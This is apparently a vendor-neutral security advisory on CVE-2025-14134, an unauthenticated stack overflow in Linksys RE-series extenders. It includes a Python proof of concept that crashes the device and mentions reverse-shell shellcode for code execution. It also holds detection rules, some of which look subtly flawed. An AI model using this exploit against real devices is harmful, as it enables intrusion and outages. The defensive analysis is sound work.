CVE-2025-14134

Executive Summary

CVE-2025-14134 is a critical stack-based buffer overflow vulnerability affecting multiple Linksys Wi-Fi range extender models, including RE6500, RE6250, RE6300, RE6350, RE7000, and RE9000. The flaw resides in the RE2000v2Repeater_get_wireless_clientlist_setClientsName function within the mod_form.so shared object. By manipulating the clientsname_0 argument, an unauthenticated remote attacker can trigger a stack buffer overflow, leading to arbitrary code execution or denial of service. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts, leaving these devices in an unpatched state. This vulnerability poses a significant risk to home and small office networks, as affected devices are commonly exposed to the internet.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in embedded networking devices.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the technical details, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected system.
• Confidentiality (C): High (H) – Full compromise of device data.
• Integrity (I): High (H) – Full control over device operations.
• Availability (A): High (H) – Potential for denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the mod_form.so shared library, specifically in the function RE2000v2Repeater_get_wireless_clientlist_setClientsName. This function is likely part of the web management interface, handling client list updates for the repeater mode.

Root Cause: The function copies user-supplied input from the clientsname_0 parameter into a fixed-size stack buffer without proper bounds checking. When an attacker sends a crafted HTTP POST request with an overly long clientsname_0 value, the buffer overflows, overwriting adjacent stack memory including the return address and other critical data.

Attack Vector: The attack is launched remotely via HTTP requests to the device's management interface (typically on port 80 or 443). No authentication is required, as the vulnerable endpoint is exposed before login.

Impact: Successful exploitation allows an attacker to:

• Execute arbitrary code with root privileges (common for embedded Linux devices).
• Install persistent backdoors.
• Modify device firmware.
• Use the device as a pivot point for further network attacks.
• Cause a denial of service by crashing the web server.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, based on the vulnerability type, the fix would involve:

Vulnerable Code (Conceptual):

void RE2000v2Repeater_get_wireless_clientlist_setClientsName(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No bounds checking
    // ... process buffer
}

Patched Code (Conceptual):

void RE2000v2Repeater_get_wireless_clientlist_setClientsName(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1); // Bounds checking
    buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
    // ... process buffer
}

The patched version would use strncpy or similar safe functions to limit the copy size, preventing the overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Linksys RE6500 (or other affected model) on the same network.
• Python 3 with requests and pwntools libraries.
• A controlled HTTP server to host payloads (optional for staged payloads).

Exploit Code (Python):

#!/usr/bin/env python3
import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
PORT = 80

# Crafted payload: 500 bytes of 'A' to trigger overflow
payload = "A" * 500

url = f"http://{TARGET}:{PORT}/goform/RE2000v2Repeater_get_wireless_clientlist_setClientsName"
data = {"clientsname_0": payload}

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"[+] Request sent. Status: {r.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

1. Replace TARGET with the IP of the vulnerable device.
2. Run the script: python3 exploit.py 192.168.1.100
3. Monitor the device for crashes or unexpected behavior.

Advanced Exploitation: For code execution, replace the payload with a ROP chain or shellcode that:

• Overwrites the return address with a controlled value.
• Executes a reverse shell or binds a shell to a port.

Blue Team (Defensive)

Detection:

• Monitor for HTTP POST requests to /goform/RE2000v2Repeater_get_wireless_clientlist_setClientsName with abnormally long clientsname_0 parameters.
• Use network intrusion detection systems (NIDS) to flag requests with payloads exceeding 256 bytes.

Mitigation:

• Isolate affected devices on a separate VLAN.
• Disable remote management if not required.
• Apply virtual patching via WAF rules (e.g., ModSecurity) to block oversized parameters.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/RE2000v2Repeater_get_wireless_clientlist_setClientsName with clientsname_0 > 256 bytes.
• Unusual outbound connections from the device to unknown IPs (e.g., reverse shell traffic).
• Repeated device crashes or reboots.

Host IOCs (on compromised device):

• Unexpected processes running (e.g., /tmp/.backdoor).
• Modified firmware or configuration files.
• New listening ports (e.g., 4444 for a bind shell).

File IOCs:

• Suspicious files in /tmp/ or /var/ with execute permissions.
• Modified mod_form.so or other system libraries.

Detection Engineering

YARA Rule

rule CVE_2025_14134_Linksys_BOF {
    meta:
        description = "Detects exploit attempts for CVE-2025-14134 Linksys RE series stack buffer overflow"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14134"
    strings:
        $s1 = "clientsname_0" ascii wide nocase
        $s2 = "RE2000v2Repeater_get_wireless_clientlist_setClientsName" ascii wide nocase
        $payload = /clientsname_0=[A-Za-z0-9%]{257,}/ ascii
    condition:
        $s1 and $s2 and $payload
}

Sigma Rule

title: CVE-2025-14134 Linksys RE Series Buffer Overflow Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b7d3f1a0e5c
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with oversized clientsname_0 parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/RE2000v2Repeater_get_wireless_clientlist_setClientsName'
        cs-uri-query|contains: 'clientsname_0='
    condition: selection and len(cs-uri-query) > 300
falsepositives:
    - Legitimate long client names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14134 Linksys RE Series Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/RE2000v2Repeater_get_wireless_clientlist_setClientsName"; http_uri;
    content:"clientsname_0="; http_client_body;
    pcre:"/clientsname_0=[A-Za-z0-9%]{257,}/Ri";
    sid:10000001;
    rev:1;
    reference:cve,2025-14134;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place them on a separate VLAN with no internet access.
2. Disable remote management: Turn off WAN-side administration in the device settings.
3. Monitor for exploits: Deploy the provided detection rules.

Long-term Solutions:

• Vendor patch: Await an official firmware update from Linksys. Since the vendor has not responded, consider alternative mitigation.
• Device replacement: Replace affected devices with models that receive regular security updates.
• Virtual patching: Use a WAF or NIDS to block exploit attempts at the network perimeter.

Workarounds:

• If the device must remain in use, restrict access to the management interface via firewall rules (allow only trusted IPs).
• Regularly monitor device logs for signs of compromise.

Valters IT